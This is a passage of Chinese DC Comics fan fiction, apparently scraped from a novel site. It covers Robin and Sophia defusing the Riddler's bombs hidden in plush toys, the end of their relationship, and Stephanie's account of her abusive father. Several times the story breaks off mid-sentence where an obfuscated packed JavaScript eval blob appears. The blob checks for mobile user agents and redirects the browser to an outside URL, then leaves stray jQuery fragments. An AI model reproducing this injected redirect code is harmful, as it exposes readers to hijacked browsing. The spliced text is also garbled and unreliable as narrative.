此时，大多数孩子的手中出现的毛绒玩具显得格外突出，统一绿色的毛绒玩具在一片混乱的人群中几乎点亮一个又一个的光点，只是隔得太远索菲亚也无法确定到底是什么样子的毛绒玩具。 “我不记得乐园还给发玩具当纪念品啊，是新出的活动吗？” 斯蒂芬妮打开背包里随身携带的电脑，在屏幕光线的投射下，气氛逐渐变得凝重。 “我猜的没错乐园官方没有这项活动，那现在在地面分发玩具的玩偶服员工到底是？” 正在看手机的索菲亚举起手机将画面展示给斯蒂芬妮，巨大的几乎占据所有画面的，绿色油漆画成的巨大问号下，是一串文字。 什么东西炸开时会偷走夜晚的焦点，像秘密一样转瞬即逝，却只有在点燃时才展露真容（What bursts to steal the night''s spotlight，fades like a secret，yet only shows its true face when ignited）？ “谜语人最后的谜语放在了哥谭乐园。” 和少年的对话框上还显示着正在输入，下一条文字立马跳了出来。 “乐园有什么问题吗？” 索菲亚和斯蒂芬妮对视一眼，立马回复了消息。 “穿着玩偶服的人在给发绿色的玩具。” “GCPD已经在路上了，工作人员会去回收那些玩具。” “注意安全。” 说完这句话，罗宾的窗口彻底没了消息，两人拎起背包从还未完全落地的轿厢上跳了下来。 方才在高处大多数噪音都因为距离而被隔绝开来，如今回到地面各式各样让人头皮发麻的声音不加筛选的从耳朵钻进大脑中，索菲亚不适的皱着眉头。 震耳欲聋的欢快音乐声，随着主持人互动响起的此起彼伏的尖叫欢呼声，其中来自儿童的尖锐的笑声和喊声更是像一把刺入太阳穴的锥子吵的人头疼，在这之中一种若隐若现的电子计数如同倒计时般的声音萦绕在人群之中。 索菲亚左右环视，很快顺着声音看到了人群之外有一个拄着拐杖坐在长椅上的落寞男孩，有着一头亚麻色头发的孩子手上正抱着一个绿色的看不出物种的动物形状的玩具。 索菲亚来到男孩面前，眼神直勾勾的盯着对方手里的玩偶，半天没有说话。 “大姐姐，你也想要吗？”男孩开口询问道。 “嗯。”索菲亚点头“他们说只给小孩子，大孩子没有，但是我很喜欢。” 男孩打量着眼前的大姐姐，最后大方的伸出手上的玩具递给索菲亚。 “那送你好了，我家里还有很多玩具。但我现在很想吃糖，但是却没有糖，你能给我一些吗？” 索菲亚接过玩偶立马从口袋里掏出一把水果味的糖放在男孩手心，很快又从背包里翻出一大袋没开封的玉米糖整包都给了男孩。 得到糖果后心满意足的男孩对着快步离开的索菲亚挥手，接着打开糖纸开始享受这些意外的甜蜜。 趁人不备钻进工具间的索菲亚剪开了玩具上的布料那道声音更加明显，在布料包裹下的塑料躯干的正中心早就被挖空，放着一枚小小的亮着红光的计时器，“滴滴滴”的响声在隔绝了外界噪音的工具间格外刺耳。而刚才在人群中，无数细小的“滴滴”声都在暗示着死亡的无限接近。 就在索菲亚愣神的时候，计时器的声音突然变得局促，作为前杀手的本能让索菲亚下意识将破烂的玩具丢了出去，自己则飞身离开并关上了门。 一声闷响后，索菲亚再次开门，已经在弥漫着烟雾的房间中看不到那只玩具的身影，火药的味道还带着热气，墙上一块瓷砖摇摇欲坠终于是承担不住压力，落在地上摔了个粉碎。 炸药的剂量不大危害也在可控范围，但联系到外界成千上万只的被捏在孩子们手中的玩具，索菲亚已经能够联想出连环爆炸后死亡和伤痛带来的哀嚎。 计时器虽然被炸飞，但质量明显过硬，上面的倒计时实际上还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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抬眼望去和索菲亚撞在一起的是个亚裔姑娘，比索菲亚短上不少的黑发，亚裔典型的黑色瞳孔中看不出一丝发生意外的惊慌，让索菲亚有种莫名其妙的熟悉感。 女孩很快没了身影，索菲亚实在分不出精力再去追一个有点可疑的亚裔女孩，只能记在心里之后再进行安排。 喧闹声延伸到了这座算得上偏僻的洗手间，索菲亚重新调动注意力在人群中寻找绿色玩偶的踪影。虽然只短暂离开了十几分钟，但人群中绿色的占比有了显著降低，零星的几个很快也有身穿统一服饰的工作人员进行置换。 时间越来越近，索菲亚的心跳再次加速，伴随着人群中发出统一的声音进行倒数，数字越来越小。 索菲亚听到了隔壁几个工作人员在窃窃私语，关于无论如何都找不到的最后一个玩偶。 索菲亚几乎能够预料到这场灾难的开始，但是放轻松一点只是一个玩偶，至少比预设的所有玩偶一起爆炸的景象要好的多不是吗？ 索菲亚逐渐从人群中脱离，听到的声音也像是被捂住了耳朵般模糊，又像是被浸泡在水中，扭曲了原先的声波。 就在倒计时归零时，片刻的寂静后爆发出孩子们惊喜的呼声。 “Robin！” “Robin！Robin也来了。” 索菲亚抬头望去，就看到落在舞台高处的再熟悉不过的身影，黑色的披风在微风中飘荡。距离有些遥远，但不影响索菲亚看到少年还没来得及调整好的呼吸，以及面具都无法遮盖的自信。 而被罗宾举起的，正是最后一只肚子里被塞上了炸弹的毛绒玩具。 35.第 35 章 倒计时结束的那刻，预料中的盛大烟花并没有出现在黑色的夜空中，短暂的寂静人群里爆发出内容不同但都包含遗憾的叹气声和嘘声，不到一分钟通知烟花延迟的广播在园区内响起。 罗宾在短暂出现后急匆匆的离开，索菲亚顺着他离开的方向找去，渐渐远离了人群聚集的区域，四周的游乐设施也变得稀疏，直到四周一片荒凉。 而在草地上，罗宾正对着通讯器汇报目前的情况，听到索菲亚的脚步抬起了头。 “玩得开心吗？” “还好。”索菲亚没有停下脚步，而是向罗宾走近“过山车跳楼机没那么好玩，不如晚上夜巡。” “这样吗？” “炸弹怎么样？” “夜翼抓住了分发玩偶的人，对方承认了是受谜语人指使，在清点过后现在已经全部收集完毕了，没有遗漏。” 两人距离很近，近到索菲亚可以听到对方耳麦里另一个人说话的声音。 “说点别的啊提宝，再说点关心她的话。” “没关系的。”索菲亚直接回答了耳麦那头人的问题，指了指罗宾的耳朵“所以为什么要延迟烟花演出？” “实际上，谜语人在越狱前港口有一批火药失窃，现在可以确定是谜语人运走了这批货物，但目前所有的微型炸弹所含的火药量和那批货物实际的重量出现了缺口。如果说剩下的火药被做成了一个炸弹的话，那么这个炸弹的威力可以把哥谭乐园带着地皮一起炸上天。” “因为谜语的答案是烟花吗？” “对。”罗宾轻轻点头“燃放烟花的瞬间炸弹爆炸，那么就可以推断炸弹和烟花燃放程序相关联，那么现在通过延迟烟花带来的时间差我们就能解决这个问题。” “谜语人看到烟花延迟不会直接气急败坏引爆炸弹吗？” 索菲亚有些心不在焉，视线偏移到罗宾身后的披风上，盯着边缘被撕扯后留下的锯齿状纹样走神。 “谜语人是喜欢按照自己规则行事的反派，比起不管不顾的毁灭一切，他更喜欢拿规则和义警对抗，而他的规则就是他引以为傲的谜语。” “如果是小丑的话，我们反而需要小心对方完全无法预测的行为……” “……” “索菲亚，你听到我说什么了吗？”罗宾的语气里带了些无奈。 “小丑？”被点名的索菲亚收回了视线，不紧不慢的和罗宾蓝色的眼睛对视“我们等会遇到小丑需要直接打死吗？” “我们需要进入位于地下的摩天轮控制室拆除炸弹，切断炸弹和烟花的联系。”罗宾再次重复了一遍作战计划语气有些无奈“你不想去也没关系，我自己能处理过来。” “我可以去。”索菲亚肯定的回答道。“带上我吧，我很有用的。” 虽然不太理解摩天轮的控制室为什么不放置在露天的地方，而是选择放在地下，但索菲亚还是选择乖乖跟在罗宾身后，把需要动脑子的活全部外包给更擅长的人。 斯蒂芬妮曾经兴奋地宣布，要和蝙蝠侠有关的哥谭义警组一辈子的队。 上周遇到绑架案神谕甚至没有出现在搅局者面前，只依靠通讯频道就查明了罪犯的行踪，让斯蒂芬妮蹲守在对方逃亡的路上，恰到好处的让对方了落入义警的手心。 当搅局者制服了对方并将其挂在路灯上满意离开后的五分钟，亮着红蓝配色警灯的警车正好抵达将罪犯顺利押送回哥谭反派的第二个家——GCPD。 这么说来，蝙蝠系义警确实靠谱的要命。 罗宾轻松撬开了接连上锁的三扇防盗门，进入控制室不到几秒就找到了被隐藏起来的保险丝，利用保险丝给控制室重新供电，利用电力打开唯一一道由电子程序控制的门。 看着解密过程算不上复杂，但程序实在繁琐的种种机关，索菲亚还以为自己在steam打开了游玩时间不足3小时的《生化危机》，马上就要四处找剪刀把被吊起来的钥匙剪下来了。 最后一道门被打开，但没有出现预料中的炸弹，而是在监控画面中出现的正在移动的索菲亚无比熟悉的场景——摩天轮的轿厢。 而在镜头的中心，正是大家苦苦寻找了许久的，能够随时夺走几万人生命的炸弹。 看得出来谜语人对自己的谜语足够自信，画面中只有一个轿厢被放上了炸弹，如果是打扮成猫头鹰的索菲亚那位恶趣味的导师，大概会在每个轿厢里都放上炸弹以绝后患。 罗宾的嘴里在默念些什么，索菲亚听不真切，只是也凑近了身子眯着眼判断画面中轿厢外的风景，终于判断出了轿厢的位置。 “我没猜错的话还有五分钟这个轿厢就会转到地面上，要是错过了我们要再等半个小时。” 接下来又是一阵玩了命的奔跑，像是赶不上迟到前的最后一趟班车，或者在停运前的最后一趟地铁，更该死的是这种事还发生在日本这种打车费比命贵的破地方一样致命。 单纯比体能索菲亚颇有信心，略微发力就能保持始终领先罗宾半个身位的速度，罗宾略微有些喘气，但索菲亚的呼吸还是没有丝毫变化。在看着轿厢离开停靠点即将再度上升时索菲亚一个箭步跨了上来，一只手抓着扶手另一只手略微用力，就将身后的罗宾也一把拉了进来。 那颗炸弹显得格外庞大几乎占据了座位间所有的空隔，罗宾勉强能把自己塞进去进行拆弹，索菲亚就只能缩着身子趴在座位上看夜景。 顺手摘掉了隐形眼镜露出少女金色的瞳孔倒映在暖黄色灯光下的玻璃窗上，索菲亚几乎将脸贴在窗上终于看清了夜幕中天空的区别。左边的区域完全黑的彻底，像是深邃的看到不尽头的洞窟只有无止境的延伸，中间则略微不同多了些云层修饰将黑色的程度略微削弱，肉眼可见由云层分隔开的形状不一颜色深浅不同的黑色色块。 右侧挂了月亮，圆满的找不到一丝缺陷的圆月被云层所晕染，将颜色从黄色扭曲成发红的色彩，在夜空中存在感极高，任何人抬起头映入眼帘的一定是这一轮红月。 从窗户的倒映中，索菲亚看到了还在拆弹的罗宾，少年的头发没有了平日里在学校连发丝都在散发光泽的精致，因为频繁的移动略微有些凌乱，黑色的散发似乎有些过长遮住了索菲亚看向少年蓝色的眼睛的视线。 “你编辫子了吗？很适合你。”少年没有抬头，但还是分出些精力和索菲亚说话，倒计时滴滴滴滴的动静成了配乐，显露出难得的平静。 “搅局者很喜欢，她说这样会很可爱。” “她眼光很好，你也很好，很漂亮。你们坐摩天轮了吗？之前批文件的时候我看到了摩天轮的示意图，就感觉风景一定很漂亮，你一定会喜欢。” “很漂亮。”索菲亚没有回头“我们拍了好多照片，她说我总是一个表情像是被p上去的。” “我觉得没有，任何人只要熟悉你，不需要看你的表情，只需要看你的眼睛，就能知道你现在的情绪，比如你现在心情还不错？” 罗宾的语气不再有紧绷着的紧张，而是带了几分放松，索菲亚猜拆炸弹的流程还算顺利。 “那你呢？大家好像都觉得你很难相处，可是你平时总是在笑。” “实际上这只是一种社交礼仪，哥谭的很多家庭都会这样教导孩子，微笑是武器也是最好的防御，至少别人和你聊天时挂着笑总比板着脸强。当然，布鲁斯除外，还没有什么人需要他赔笑脸。” 罗宾小心地站了起来，将四周散落一地的工具挨个收了起来。 “蝙蝠侠已经抓到了谜语人，夜翼会来回收炸弹，预计五分钟后烟花就会继续燃放。” 罗宾转过身确认关停了轿厢内的监控后，摘下了脸上的面具，露出还在流汗的白皙的皮肤，将索菲亚目前名义上的小男友提姆德雷克从罗宾的身份里放了出来。 “在确认有烟花表演时，我就在想要邀请你来看，你一定会喜欢。”提姆的脸上挂着微笑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931072|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺着索菲亚的视线看向地面，看向人群，看向夜空。“迪克，哦就是夜翼，他建议让我们一起来，我不确定自己能不能到，但我想至少要你能看到。” “你有什么想问的吗？” 沉默许久，索菲亚才终于从嗓子里挤出这句有些干巴的话，她一直逃避着的属于罗宾的发难，作为好同桌的提姆或许会包容索菲亚离经叛道的行为。 可是罗宾呢？罗宾会怎么看待一个嗜杀成性不把别人的命放在眼里的杀手，一个认同不杀原则的人怎么能够允许有人在他的眼前死去。 如果索菲亚是一个把恋爱放在首位的女孩，她可以把男友的原则当做自己的原则，自我牺牲式的献祭自己的一切想法来成全他人。 可是索菲亚不是，即使过去的环境算不上好，但是由无数个日夜的疼痛构成的深深刻印在少女大脑深处的原则都在告诉索菲亚，杀戮是解决问题最好的办法。 以伤害弱者为乐的人，以掠夺他人获取财富的人，对付这些人最好的方法从来不是教化和劝导，伤害和死亡才是最好的方式。 索菲亚不在乎死在刀下的人是否犯罪，也不在乎对方的家人，只要是挡在了少女唯一能够行走道路前的人，唯一的结局只有死在冰冷的刀光之下。 索菲亚平静的注视着对方蓝宝石一般的双眼，等待对方开启新的，或许会让这段关系彻底破裂的话题。 “抱歉索菲亚，我一直在思考我们的关系，从我们在一起的那天起我的大脑里就在不停的思考。这段感情的开始是一个误会，如果不是毒藤女花粉的影响，我也不会做出这些出格的带有误会的行为。” “这不是你的错索菲亚，如果是我面对被影响的朋友也无法说出拒绝，而我在察觉到这一切后并没有及时补救，而是将错就错继续了下去。” “你是个好姑娘，而我是个完全没想好就立马步入亲密关系的混蛋，但这不公平索菲亚。你用真诚的友情来照顾我这位犯错的朋友，而我却在用虚假的感情来敷衍你的爱。这段错误的关系扭曲了我们的友谊，但我认为不该是这样的。你不该受到这样的对待，我不能这么对你。” “……” 轿厢中一片寂静，索菲亚半天才张口。 “我以为你会问我杀人的事。” “……你并非是义警，我不能完全以自己的道德观去衡量你，但如果发生类似的情况，我会阻止你。” 延误已久的烟花此时突然在天空中绽放，五彩斑斓的火光透过窗户照在两人的脸上，少女白玉一般的脸庞上毫无表情，但从没有一丝弧度的嘴角中提姆已经做好了被骂渣男的准备。 索菲亚思考了片刻，点了点头。 “那我们还能做好朋友吗？” “当然可以，你现在依旧是我在学校最好的朋友。”提姆脸上的紧张烟消云散，重新回归到正常关系让少年提着的心终于放了下来。 “那我们还能去吃之前清单上的好吃餐厅吗？”索菲亚睁大了一双圆眼，像只看到了猫条急的喵喵叫的黑猫。 “当然，只要我有空，我们可以吃遍哥谭所有的餐厅，多少次都可以。” “作业也能给我抄吗？” “当——这个不行，有不会的地方我可以教你，无论什么时候都可以。” 被拆穿了的索菲亚尴尬的吐了吐舌头，脸上放松了许多，把注意力全都放在窗外的烟花上，看的目不转睛。 提姆却完全看不进烟花，他的注意力全部集中在沐浴在烟花下的少女身上，关系的结束除了带来预料中的放松以外，仿佛失去什么的惆怅自心脏流出，顺着血液将少年全部都笼罩其中。 直到窗外的风景逐渐下落，夜翼对着已经停转的轿厢敲了敲，唤醒了少年。 “布兰登小姐，我先把罗宾借走了。” 提姆德雷克这才回过神来，戴上了面具，重新变回罗宾跟在夜翼身后，像回巢的鸟儿一样扇着翅膀飞向了远方。 36.第 36 章 索菲亚设想过无数个关于结束这段感情的场景，或许是常规悲剧结尾的爱情电影常有的两人身份立场的不同，在激烈的冲突下不得不分开，倒霉一点或许还会生死离别再也不会相见。 也可能是青春电影结尾后为了爱情私奔的情侣在公交车上的笑容逐渐消失，真正的梦幻中回到了迷茫的现实。 当然在现实中关于出轨，家暴相关的抓马场景虽然不算少见，但索菲亚实在难以把提姆和这些词联系在一起。 索菲亚的好朋友提摩西是一个道德感正义感都很高的人，但他却从不被规则束缚，毕竟真正老实乖巧遵守规则的小孩是不会拿着相机在哥谭的大街小巷一边和罪犯周旋一边还能跟踪蝙蝠侠的，也不会自爆式的找上门推荐自己成为罗宾来解决问题。 “其实也不准确，我其实尝试去布鲁德海文找迪克，那个时候他还不认识我，我说我知道他罗宾的身份，想他会回到哥谭再次成为罗宾来拉B一把，但是他拒绝了。” 少年讲述这段往事时显得格外风轻云淡，索菲亚则盯着少年装满饮料的玻璃杯里漂浮着的打结在一起的蓝色红色两根吸管。 “为什么我没有吸管，我也要。” 提姆从杯子里取出吸管，将蓝色那根解了下来插进了索菲亚面前那杯橘色的饮料里，碳酸饮料中气泡沿着杯壁上升和冰块相碰撞，蓝色的吸管显得格外特别。 “好了好了，你看你也有吸管了。” 话说回来，短暂的持续了一个月的恋爱简直像是做梦，像是日式青春电影里常有的，只存在于夏天的恋爱电影。 少年少女在特定的情形下相遇，相知，两个陌生青涩的灵魂在固定的场景下出演只有自己知道的独幕剧。 直到那个夏天结束，大家回到了生活这个大舞台上属于自己的位置，或是扮演主角或是扮演NPC，在深夜或许才能回忆起青春中存在的某个回忆。 但短暂的称不上恋爱的关系的结束，并不意味两人关系的彻底结束。 提姆向索菲亚证明了，好朋友的约定从来不是一句空话。 夜晚罗宾一如既往地在哥谭飞来飞去，白天的时候频繁登上商业杂志头条的德雷克少总在记者的镜头下意气风发，据说提姆的爸爸得知提姆做出的成绩，把自家的产业也交给了儿子，让原本只是替布鲁斯代工的提姆再也无法从董事会那张奢华异常的售价超过几十万美刀的老板椅上离开。 即便如此，提姆还能抽出空按照社交媒体大家总结出来的美食榜单带着索菲亚挨个探店，大多数些规模不大的小餐馆，蝙蝠侠在听说这件事后作为资深花花公子布鲁斯韦恩向提姆推荐了味道很好的冰山餐厅。 于是，当刚刚结束一天工作的还保持一身西装革履的德雷克少总和穿着件短袖长裤运动鞋的索菲亚一起出现在金碧辉煌的，连引路侍者的工作制服都价值上万美刀的冰山餐厅时，提姆用尽全身力气才没让自己尖叫出声。 尤其是衣冠楚楚的企鹅人带着主厨来询问提姆用餐体验如何时，提姆还能回忆起前一天晚上蝙蝠侠险些把企鹅人晚饭都打出来的激情场景，在灯光下企鹅人额头上的淤青都格外显眼。 “简直不能太棒了，感谢你的关心科波特先生，我父亲不止一次向我推荐冰山餐厅的珍馐佳肴，今天来体验过后我才意识到我父亲的话竟然没有一丝夸张的成分。” 提姆将视线从企鹅人脸上的伤疤处离开，就看到索菲亚还在闷头吃盘子里的鹅肝，至少从少女的微表情提姆就能知道自己选错餐厅了。 提摩西德雷克，你就是个混蛋，索菲亚绝对没有吃饱，快做点什么啊。 让女孩子接受晚餐邀请后没有吃饱也太掉价了吧。 如果布鲁斯做出这样的事完全可以和花花公子的身份说拜拜了。 提姆艰难地抬起头对上企鹅人疑惑的视线，终于是艰难地开口。 “能给我再上两份鹅肝吗？我没有吃饱。” 企鹅人在片刻的诧异后还是答应了这份要求，只是在离开前略带深意的拍了拍少年的肩膀。 “代我向韦恩先生问好。” “请放心，我会的。” 拿到了加餐的索菲亚明显高兴了不少，如果是动画恐怕少女的脑袋上都飘着各色的小花，就像是搅局者那天过后在X发布的自拍一样，点缀在黑发上的蓝色皮筋，让索菲亚脱离了猎魔人给人带来的硝烟和血腥印象。 在桌面摆放着还带着露珠的玫瑰中，小雨再度落下，在远离喧嚣的寂静中，两人的视线交汇便意味着夜晚尚未结束。 索菲亚难得加入了夜巡的队伍，亦步亦趋的跟在罗宾身后，在踹了一个企图强迫落单女性的人渣的屁股后，见到熟悉紫色披风的少女彻底背叛了好朋友的怀抱，投入了超级无敌好朋友搅局者的队伍。 “对不起罗宾，但是比起做义警，我更喜欢女孩子。” 在天台上，斯蒂芬妮向索菲亚展示了自己布置好的监控画面，屏幕上密密麻麻的方块下都是男人可能会出现的场地，街角的小巷，被斯蒂芬妮发现踪迹的备用安全屋，酒吧…… “他已经开始了，我之前还在想要不要通知GCPD，但是想了想觉得算了，只要他没有再次犯罪就没人能够拿他怎么样。” “我会看着他，每分每刻，在他实施犯罪计划的那刻起我就会跟在他身后。” 蓝色的眼睛里带着些红血丝，眼眶下的乌青也显示出少女过度透支身体带来的反噬。 “他一直都是这样，自命不凡，觉得全世界都亏欠他。他喝多了酒就开始发疯，说自己怎样被命运捉弄，所以才和一个没用的女人结婚，还有了个没用且不听话的女儿。” “妈妈总是安慰我，说是因为爸爸生在了错误的时代所以才会如此。可是那个男人喝醉酒后用拳头砸在她脸上打的她痛哭流涕的时候，拦住他的人明明是我，我愿意和妈妈一起挨打，可是为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934962|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么妈妈总是反过来指责我不听话惹了那个男人生气。” 斯蒂芬妮将脸埋在掌心，语气里不复平日的活泼和冷静。 “有的时候我总是在想，到底谁才是妈妈的孩子，我的保护为什么在她眼里完全不值一提。明明在我面前埋怨流泪的人是她，她为什么总是能那么顺理成章的成为那个男人的口舌，来攻击这个世界上唯一愿意保护她的人。” “有一次我气急了不想待在这个糟糕的家里，我跑到巷子里想去找点还没被捡走的蝙蝠镖，那玩意很值钱如果能找到一个完整的够我买一个月的面包。” “结果遇上了想打劫我的家伙，蝙蝠女赶来了帮我打跑了那个家伙，问我：女孩，你为什么没有在家里睡觉？” “我说我想要蝙蝠镖，那个东西很值钱，我可以买好多东西让妈妈高兴。” “蝙蝠女沉默了许久，路灯下她的红发像绸缎一样漂亮，她拿出一枚崭新的蝙蝠镖给我，让我早点回家。” “等我到家的时候家里所有的灯都关上了，我以为妈妈已经睡下了，她身体不好经常在等我的时候在沙发上睡着，我怕打扰她就没有开灯，轻手轻脚回了房间。” “我在想怎么给她道歉，我不是故意要惹她生气的，我希望她过得好。” 等到第二天，要去上学的斯蒂芬妮没等到妈妈每天都会准备的热腾腾的早餐，便推开了属于父母的那间门。 门后，妈妈躺在床上仿佛睡着了一样。 斯蒂芬妮停止了叙述，缓缓地抬起了头，眼神里没有一丝悲伤而是超乎寻常的冷静。 “那个男人卷走了买药的钱跑了，只留下妈妈一个人在家里。” “在妈妈的墓前，我发誓，即使那个男人没有犯罪，我也要为他罗织罪名，我要让他这辈子都在监狱里无法离开。” “可是还是不够，深夜里我在床上辗转反侧，只是让他坐牢这太轻松了，我需要能够让他更痛苦的方法。” “我想杀了他。” 索菲亚见状拔出了刀递到斯蒂芬妮手上。 “我可以帮你支开罗宾和蝙蝠侠，刚磨过刀非常好用。” 斯蒂芬妮接过刀，注视片刻便笑了出来。 “骗你的，我还不想去黑门监狱，我现在好歹也算义警，怎么能杀人呢？” 紫色的披风在夜空中摇曳，斯蒂芬妮出门前应该刚洗过澡，新换的海盐味沐浴露闻起来有几分清新的感觉，削弱了夏夜的炎热。 索菲亚实在难以跟着一起笑，即使两人在一起时经常做些莫名其妙就笑着抱在一起的傻事，但少女还是敏锐感受到了同伴情绪的异常。 刚刚被磨刀石打磨过的刀身格外清晰，雨滴滴落在刀身发出和金属碰撞的清脆响声，接着如同镜面般的反光中，索菲亚看到了再熟悉不过如今却有几分陌生的过于冷静的眼神。 那是索菲亚在杀人前，在镜子中无数次看到的，属于自己的眼神。 37.第 37 章 亚当最近走了大运。 自从十四岁的亚当剃光了所有的头发拿上水果刀抵在一个倒霉下班族的后腰得到了两百块后，东区的又一个不怕天高地厚的少年按照无数个类似的青年人堕落的路线走了下去。 当然，亚当和那群兄弟们可不觉得这是堕落。 人活着是要钱的，去餐馆里刷盘子得把手都洗烂掉一个月才一千多块，更别说贵得要死的医保，亚当的老爹老亚当死前牙都要掉光了也没凑够去牙科诊所看牙的钱。 但是只要豁得出去，够狠，胆子够大，像是亚当一样，只需要一把水果刀拿来的报酬就够这群牛一样的小伙子吃汉堡吃个爽。 二百块，够三个小伙子各吃三个芝士汉堡，还能加双份芝士和牛肉饼，就这样老板还要再送上可以无限续七八杯的冒着气泡的冰饮料。 午夜，三个人掏遍了口袋也只能凑够一个汉堡的钱，那一个迷你的有些可笑的汉堡在饥肠辘辘的眼神里泛着绿光的少年手中不停的传递，口水积蓄在口腔中几乎要顺着牙缝流出来。不过一圈，那只汉堡就被啃得干净，连包装纸上溢出来的沙拉酱都被年轻人拿舌头舔的反光。 “我们得去干票大的。”亚当看着备餐区的穿着滑稽的印着汉堡店标志上衣的店员在向包装袋里装炸好的鸡翅，滋滋冒油，金属架子与裹了淀粉后炸的酥脆的表面接触发出直击灵魂的摩擦声，让亚当的大脑里立马回忆出牙齿咬破炸鸡外壳后，从鸡肉里迸发而出的鲜嫩汁水喷射在牙龈中的快感。 “什么都行，咱们去抢劫那帮站街的女人，凭什么那帮女的张张腿就能挣那么多钱，哥几个累死累活挨了顿打就值几百块？” “哥，咱要不找个女的去仙人跳吧，咱专挑那种看起来窝囊的男的，那种人爽完了脑子也没了，等反应过来被下套之后也不好意思报警，咱们不是赚发了。” “好是好。”亚当摸了摸自己脑袋上长出的有些刺手的发茬“咱从哪找个女的，上学那会没一个女的有眼光看得上我。” “我在学校也没什么朋友。”那个瘦弱的木杆一样的男孩推了推鼻子上快掉下来的眼镜，过长的刘海几乎遮住了半张脸“那会我弄脏了鲍里斯的鞋子，他也没打我只是让我赔，我去商店看发现那双鞋得两千块，太贵了我爸妈知道要打死我，我就从家里出来了。” 壮硕的几乎成了肉球的男孩估计一句话没听进去，正对着隔壁桌点的一桌子炸货流口水。 “哥，你说咱能不能抢劫这家店，我好饿啊，要饿死了。” 亚当揉了揉眉心，脑袋像是被人从身后敲了闷棍，他早上从好不容易找到的据点醒来的时候，就看到有个不修边幅的大胡子老头脱了裤子正对着他撒尿。来不及叫剩下几个人起来，亚当就叫嚷着挥动着拳头冲了上去，几拳下去那老头就摆着手逃之夭夭，只剩下亚当在睡了不到四个小时后被从梦境中惊醒，独自承受睡眠不足带来的头疼。 此时，胃袋因为长期未摄入食物而疼痛，如同被当做抹布拧干后又被重重的摔在了地上。 亚当没有照镜子，就知道自己的眼睛里一定布满了血丝，像吸血鬼一样被食欲所折磨，随时会扑到别人身上大快朵颐。 只可惜这里是哥谭，就算真的是吸血鬼也大概率会被飞天大蝙蝠抓走扔去少管所。 少管所也行，至少还有饭吃，只是得挨打，蜷缩成一团老老实实挨顿打总比饿死在街头好点。 “咔嚓，咔嚓。” 大口咀嚼食物的声音格外刺耳，亚当转头想用脑子里能想到的一切污言秽语去辱骂那个在一群快饿死的小鬼面前刻意炫耀食物的狗杂种，结果就看到了满当当摆放了一桌的冒着热气的食物，以及已经控制不住大口啃食炸鸡翅的小胖子，和那个被酱料弄脏了手的木杆一样的小孩。 脏话被鸡肉和淀粉的混合物堵在嘴里，亚当的脑子里想不出复杂的事，只记得那夜美味异常的炸鸡和被食物填满的肚子。 邻座的男人自称自己是线索大师，是哥谭城的反派，和其他掉价的反派不同，线索大师酷爱在犯罪后留下线索让那些无能的税金小偷对着他精妙的计划急躁的抓耳挠腮。 “那不是谜语人吗？”胖子小声说道“谜语人什么时候改名吗？” “那他以后会变成线索博士吗？硕士听起来有点像论文没写出来被逼疯了。” “安静。”线索大师的那张脸孔上保持着高级反派特有的冷静，至少亚当很少在小喽啰脸上看到这样的表情。 “我有一个计划，没过多久整个哥谭都会知道我精妙的犯罪天赋，他们会为我的才华而折服，为自己忽略了一位真正的天才而叹息，就连小丑也要跪倒在我的脚下祈求我放过哥谭。” 线索大师的表情逐渐狰狞，过度兴奋的语气让瘦子打了个寒战，但可惜几个少年还只顾着埋头苦吃，实在分不出一丝注意力给这位未来的犯罪皇帝。 “头儿，我们犯罪不拿钱吗？”亚当把语气尽可能放的尊重以免激怒三人组目前唯一的衣食父母。 “钱，当然会有的。”线索大师从那件拉风的风衣内衬里掏出钱包，在夹层里翻了个底朝天，终于拿出几张百元美钞“这是定金，等我计划的第一步开始，我们还能有更多的钱。” 亚当把这些钱收集在一起点了点，六百四十八块，那也比打工强点。 “好，我们干了头儿。” 之后，便是无止境的倒霉。 亚当在第二周的周三带着两个同伴跟着线索大师带上提前准备好的头套手枪和装钱的袋子冲进了哥谭银行，结果正好遇到处理宝石失踪案的夜翼，被穿着黑蓝色紧身衣的义警翻着花样一顿暴打，子弹都没射出去一颗，最后可怜巴巴的被挂在路灯上直到GCPD来抓人。 第二次，亚当跟着线索大师去帮某些大人物运货，一小只手提箱里放着价值几千万的东西，只是这一单线索大师就能拿几十万，而亚当能从老板的手里拿到个两万块。 同样倒霉的是，两人刚离开港口就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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线索大师占据了唯一的房间在闭目养神，只留几个年轻人在客厅里守夜。 瘦子倒有些神经兮兮，一直抬着脑袋看向天花板，亚当也跟着抬起头却什么都看不到。 